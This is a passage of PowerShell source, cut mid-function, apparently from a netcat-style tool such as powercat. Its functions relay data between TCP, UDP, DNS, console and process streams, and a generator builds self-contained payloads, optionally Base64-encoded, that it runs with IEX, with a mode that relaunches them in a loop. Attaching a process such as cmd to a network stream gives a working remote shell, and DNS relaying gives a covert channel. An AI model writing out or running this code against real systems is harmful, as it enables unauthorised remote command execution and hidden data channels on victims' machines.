          Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
        }
        
        try
        {
          $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
          if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
          if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
          $Data = $null
        }
        catch
        {
          Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
        }
      }
    }
    finally
    {
      try
      {
        Write-Verbose "Closing Stream 1..."
        Stream1_Close $Stream1Vars
      }
      catch
      {
        Write-Verbose "Failed to close Stream 1"
      }
    }
  }
  ########## POWERSHELL FUNCTIONS ##########

  ########## CONSOLE FUNCTIONS ##########
  function Setup_Console
  {
    param($FuncSetupVars)
    $FuncVars = @{}
    $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
    $FuncVars["Output"] = $FuncSetupVars[0]
    $FuncVars["OutputBytes"] = [byte[]]@()
    $FuncVars["OutputString"] = ""
    return $FuncVars
  }
  function ReadData_Console
  {
    param($FuncVars)
    $Data = $null
    if($Host.UI.RawUI.KeyAvailable)
    {
      $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
    }
    return $Data,$FuncVars
  }
  function WriteData_Console
  {
    param($Data,$FuncVars)
    switch($FuncVars["Output"])
    {
      "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
      "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
      "Bytes" {$FuncVars["OutputBytes"] += $Data}
    }
    return $FuncVars
  }
  function Close_Console
  {
    param($FuncVars)
    if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
    elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
    return
  }
  ########## CONSOLE FUNCTIONS ##########
  
  ########## MAIN FUNCTION ##########
  function Main
  {
    param($Stream1SetupVars,$Stream2SetupVars)
    try
    {
      [byte[]]$InputToWrite = @()
      $Encoding = New-Object System.Text.AsciiEncoding
      if($i -ne $null)
      {
        Write-Verbose "Input from -i detected..."
        if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
        elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
        elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
        else{Write-Host "Unrecognised input type." ; return}
      }
      
      Write-Verbose "Setting up Stream 1..."
      try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
      catch{Write-Verbose "Stream 1 Setup Failure" ; return}
      
      Write-Verbose "Setting up Stream 2..."
      try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
      catch{Write-Verbose "Stream 2 Setup Failure" ; return}
      
      $Data = $null
      
      if($InputToWrite -ne @())
      {
        Write-Verbose "Writing input to Stream 1..."
        try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
        catch{Write-Host "Failed to write input to Stream 1" ; return}
      }
      
      if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
      
      Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
      while($True)
      {
        try
        {
          $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
          if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
          if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
          $Data = $null
        }
        catch
        {
          Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
        }
        
        try
        {
          $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
          if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
          if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
          $Data = $null
        }
        catch
        {
          Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
        }
      }
    }
    finally
    {
      try
      {
        #Write-Verbose "Closing Stream 2..."
        Stream2_Close $Stream2Vars
      }
      catch
      {
        Write-Verbose "Failed to close Stream 2"
      }
      try
      {
        #Write-Verbose "Closing Stream 1..."
        Stream1_Close $Stream1Vars
      }
      catch
      {
        Write-Verbose "Failed to close Stream 1"
      }
    }
  }
  ########## MAIN FUNCTION ##########
  
  ########## GENERATE PAYLOAD ##########
  if($u)
  {
    Write-Verbose "Set Stream 1: UDP"
    $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
    $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
    $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
    $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")    
    if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
    else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
  }
  elseif($dns -ne "")
  {
    Write-Verbose "Set Stream 1: DNS"
    $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
    $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
    $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
    $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
    if($l){return "This feature is not available."}
    else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
  }
  else
  {
    Write-Verbose "Set Stream 1: TCP"
    $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
    $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
    $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
    $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
    if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
    else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
  }
  
  if($e -ne "")
  {
    Write-Verbose "Set Stream 2: Process"
    $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
    $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
    $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
    $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
    $InvokeString += "@('$e')`n`n"
  }
  elseif($ep)
  {
    Write-Verbose "Set Stream 2: Powershell"
    $InvokeString += "`n`n"
  }
  elseif($r -ne "")
  {
    if($r.split(":")[0].ToLower() -eq "udp")
    {
      Write-Verbose "Set Stream 2: UDP"
      $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
      $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
      $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
      $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")    
      if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
      elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
      else{return "Bad relay format."}
    }
    if($r.split(":")[0].ToLower() -eq "dns")
    {
      Write-Verbose "Set Stream 2: DNS"
      $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
      $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
      $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
      $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
      if($r.split(":").Count -eq 2){return "This feature is not available."}
      elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
      else{return "Bad relay format."}
    }
    elseif($r.split(":")[0].ToLower() -eq "tcp")
    {
      Write-Verbose "Set Stream 2: TCP"
      $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
      $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
      $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
      $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
      if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
      elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
      else{return "Bad relay format."}
    }
  }
  else
  {
    Write-Verbose "Set Stream 2: Console"
    $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
    $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
    $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
    $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
    $InvokeString += ("@('" + $o + "')")
  }
  
  if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
  else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
  $InvokeString = ($FunctionString + $InvokeString)
  ########## GENERATE PAYLOAD ##########
  
  ########## RETURN GENERATED PAYLOADS ##########
  if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
  elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
  ########## RETURN GENERATED PAYLOADS ##########
  
  ########## EXECUTION ##########
  $Output = $null
  try
  {
    if($rep)
    {
      while($True)
      {
        $Output += IEX $InvokeString
        Start-Sleep -s 2
        Write-Verbose "Repetition Enabled: Restarting..."
      }
    }
    else
    {
      $Output += IEX $InvokeString
    }
  }
  finally
  {
    if($Output -ne $null)
    {
      if($of -eq ""){$Output}
      else{[io.file]::WriteAllBytes($of,$Output)}
    }
  }
  ########## EXECUTION ##########
}